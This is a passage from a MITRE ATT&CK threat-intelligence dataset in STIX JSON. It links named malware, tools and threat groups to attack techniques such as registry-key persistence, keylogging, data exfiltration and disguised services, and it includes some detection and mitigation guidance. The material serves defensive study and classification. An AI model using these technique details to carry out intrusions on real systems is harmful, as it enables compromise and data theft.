reference.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-11T17:45:18.411Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c7bb53e-d396-4b7e-a925-4a928acc0762","type":"relationship","created":"2020-11-09T14:52:45.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.773Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has come signed with revoked certificates.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cd211b1-c499-44e7-ae68-1d3def444b2f","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5fea1b8-e72c-4d5a-84a7-5545bc2f5dc3","type":"relationship","created":"2021-02-17T19:22:30.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T18:02:57.515Z","description":"[Conti](https://attack.mitre.org/software/S0575) can utilize command line options to allow an attacker control over how it scans and encrypts files.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.","source_name":"Microsoft Winnti Jan 2017"},{"url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","source_name":"Novetta Winnti April 2015"}],"modified":"2022-01-11T16:04:19.199Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) installer loads a DLL using rundll32.(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cc7fc62-740a-47c4-988c-bdd9c5880c3f","type":"relationship","created":"2019-03-11T19:24:08.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.572Z","description":"[Empire](https://attack.mitre.org/software/S0363) can modify the registry run keys <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73fbf268-20d3-4549-9dd2-6e20e18079e0","type":"relationship","created":"2019-03-11T17:18:27.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.362Z","description":"[Empire](https://attack.mitre.org/software/S0363) has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a31f8c0-36bf-40b5-90d2-d03c72b2c8d8","type":"relationship","created":"2020-05-15T13:17:57.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:17:57.719Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) scanned the network for public shared folders.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.290Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of recording keystrokes.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4fe7d70-a0c9-4d2b-ba4a-0d6bc2e08f0e","type":"relationship","created":"2021-09-21T15:16:40.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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(2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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(2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-30T18:15:56.901Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe061ca4-3182-49b7-a70c-96c58e19d9bc","type":"relationship","created":"2020-02-11T18:46:56.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:46:56.347Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--487a6f8b-669d-4d72-8be8-38a48af51308","type":"relationship","created":"2020-02-27T18:17:58.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. 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Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:52:16.163Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.(Citation: Unit 42 OopsIE! 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Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.199Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57932175-4fe3-4ea1-b758-4cb6156273b2","type":"relationship","created":"2020-01-17T16:52:36.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-17T16:52:36.096Z","relationship_type":"revoked-by","source_ref":"attack-pattern--dd901512-6e37-4155-943b-453e3777b125","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--635c959b-acf4-464a-a240-f299f5fea753","type":"relationship","created":"2019-01-30T15:33:07.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. 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(n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}],"modified":"2022-03-15T20:08:18.933Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has divided files if the size is 0x1000000 bytes or more.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb7db180-08e0-4240-a1d4-b520fbe4dc8c","type":"relationship","created":"2022-01-07T15:02:59.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-01-07T15:02:59.151Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can leverage native API including <code>RegisterServiceCtrlHandler </code> to register a service.RegisterServiceCtrlHandler ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d6f916-ca2a-4c25-841f-02d71b31308c","type":"relationship","created":"2020-02-27T17:55:27.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"STIG krbtgt reset","url":"https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779","description":"UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}],"modified":"2020-11-05T16:16:33.496Z","description":"For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. 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Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-05-29T18:11:23.516Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.” Newer versions create the \"MaintenaceSrv\" service, which misspells the word \"maintenance.\"(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79333543-6031-4aa4-91be-35d80fae8ed2","type":"relationship","created":"2019-09-13T14:28:14.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"}],"modified":"2020-11-20T20:11:15.536Z","description":"[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c49ddd81-075e-491a-9eb7-69ff7c55b81c","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for third-party application logging, messaging, and/or other service artifacts that provide context of user authentication to web applications, including cloud-based services. Combine this information with web credentials usage events to identify authentication events that do not fit the organization baseline.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2480447-a55d-446e-8d62-88c6a4f08afb","type":"relationship","created":"2020-03-28T00:26:28.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","source_name":"Securelist Kimsuky Sept 2013"}],"modified":"2020-03-28T00:26:28.307Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf485f42-cc2f-4ef7-9226-533192a9413c","type":"relationship","created":"2019-06-25T15:34:24.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6","description":"Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.","source_name":"Microsoft Disable Macros"}],"modified":"2022-01-12T18:16:56.801Z","description":"Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39c98d86-3f44-4a47-b7e5-4cb3e4bf97a7","type":"relationship","created":"2021-02-11T17:32:31.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2021-02-11T17:32:31.984Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect installed software on targeted systems.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b72f375-4a14-4ae7-9b0b-1202ba3d6970","type":"relationship","created":"2020-03-02T14:22:24.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-02T14:22:24.910Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d19ac1-de53-44e2-9139-32b0e0525b0c","type":"relationship","created":"2020-11-30T21:38:24.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-30T21:38:24.612Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can enumerate remote systems using <code> Net View</code>.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a007e42-2efb-4ace-aa08-950bbee11df7","type":"relationship","created":"2021-04-09T13:34:37.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.623Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky NetTraveler","description":"Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka ‘Travnet’). Retrieved November 12, 2014.","url":"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"}],"modified":"2020-03-16T17:20:39.755Z","description":"[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.(Citation: Kaspersky NetTraveler)","relationship_type":"uses","source_ref":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82fa754d-3c73-415f-9bc3-3e6be5458856","type":"relationship","created":"2020-12-03T20:32:03.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T20:32:03.643Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can connect to the IPC$ share on remote machines.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--167d7b11-01f3-42d5-bb8a-78306dc80243","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"Microsoft SIR Vol 19","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"}],"modified":"2019-05-14T17:10:21.841Z","description":"Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: ESET Sednit Part 2)(Citation: Microsoft SIR Vol 